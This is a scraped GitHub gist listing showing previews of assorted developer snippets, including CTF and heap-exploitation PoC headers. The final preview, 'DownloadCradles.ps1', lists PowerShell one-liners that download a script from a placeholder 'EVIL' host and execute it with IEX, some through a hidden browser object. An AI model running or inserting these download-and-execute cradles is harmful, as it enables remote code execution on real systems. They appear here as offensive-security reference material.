Skip to content

Instantly share code, notes, and snippets.

View tkmru's full-sized avatar
💭
🍣 💰 🍖 🍶

@tkmru tkmru

💭
🍣 💰 🍖 🍶
View GitHub Profile
@hhimanshu
hhimanshu / copyFileFromJar.scala
Last active January 9, 2023 17:45
Copy File inside Jar to External Location
import java.io.File
import java.net.URL
// Note: This has dependency on apache commons-io
import org.apache.commons.io.FileUtils
object LoadFile extends App {
override def main(args: Array[String]): Unit = {
val fileName = "myfileJarFile.json"
val path: URL = getClass.getClassLoader.getResource("v410.all/" + fileName)
@tkmru
tkmru / commit_msg_today.sh
Last active April 17, 2018 07:15
extract today commit message on mac for daily report.
git log --after=$(date -v-1d +"%Y-%m-%d") --pretty=oneline --abbrev-commit;
@yalab
yalab / bootstrap-memo.md
Last active July 20, 2022 20:29
rails5 + webpacker + bootstrap
$ echo 'gem "webpacker"' >> Gemfile
$ bundle install
$ rails webpacker:install
$ yarn add [email protected] jquery popper.js
diff --git a/config/webpack/environment.js b/config/webpack/environment.js
index d16d9af..86bf1a7 100644
@elliptic-shiho
elliptic-shiho / solve.py
Last active June 11, 2017 16:05
SHA2017 CTF Teaser: Crypto Engine Solver
from PIL import Image
im = Image.open('flag.png')
pix = im.load()
t = []
for i in xrange(im.size[0] / 40):
t += pix[i*40 + 5, 5]
t += [0x2e, 0x29]
k = [0x32, 0x30, 0x31, 0x37]
s = ''
@st4g3r
st4g3r / house_of_einherjar.c
Last active July 28, 2021 22:46
Demonstration of House of Einherjar
/*
* Author: @st4g3r
* This is a PoC for House of Einherjar on x64 Linux.
*
* gcc -Wall -o house_of_einherjar house_of_einherjar.c
*
*/
#include <stdio.h>
#include <stdlib.h>
"""
Detects opaque predicates in single basic blocks, see: http://zubcic.re/blog/experimenting-with-z3-proving-opaque-predicates and https://github.com/JonathanSalwan/Triton/blob/master/src/examples/python/proving_opaque_predicates.py
Sample output:
(angr)sam@angr-dev:~/code/opaque_predicates$ python test.py
WARNING | 2016-08-20 21:13:33,412 | angr.path_group | No completion state defined for path group; stepping until all paths deadend
0x0: xor eax, eax
0x2: jo 9
@abcang
abcang / remote-make.sh
Last active December 15, 2015 15:51
リモートにデータをコピーしてmakeし、手元に転送するコマンド
#!/bin/bash
DIR="$(basename "$(pwd)")"/
HOST="$1"
OPT="$(cut -d " " -f2- <<<""$@" ")"
DIST=/tmp/"$DIR"/
cd ..
rsync -rtuvz --delete "$DIR" "$HOST":"$DIST"
ssh "$HOST" "cd $DIST; make $OPT"
@syusui-s
syusui-s / .gitignore
Last active September 7, 2021 19:09
時間割 to iCalendar
# Created by https://www.gitignore.io/api/ruby,vim
### Ruby ###
*.gem
*.rbc
/.config
/coverage/
/InstalledFiles
/pkg/
@HarmJ0y
HarmJ0y / DownloadCradles.ps1
Last active July 23, 2025 18:12
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object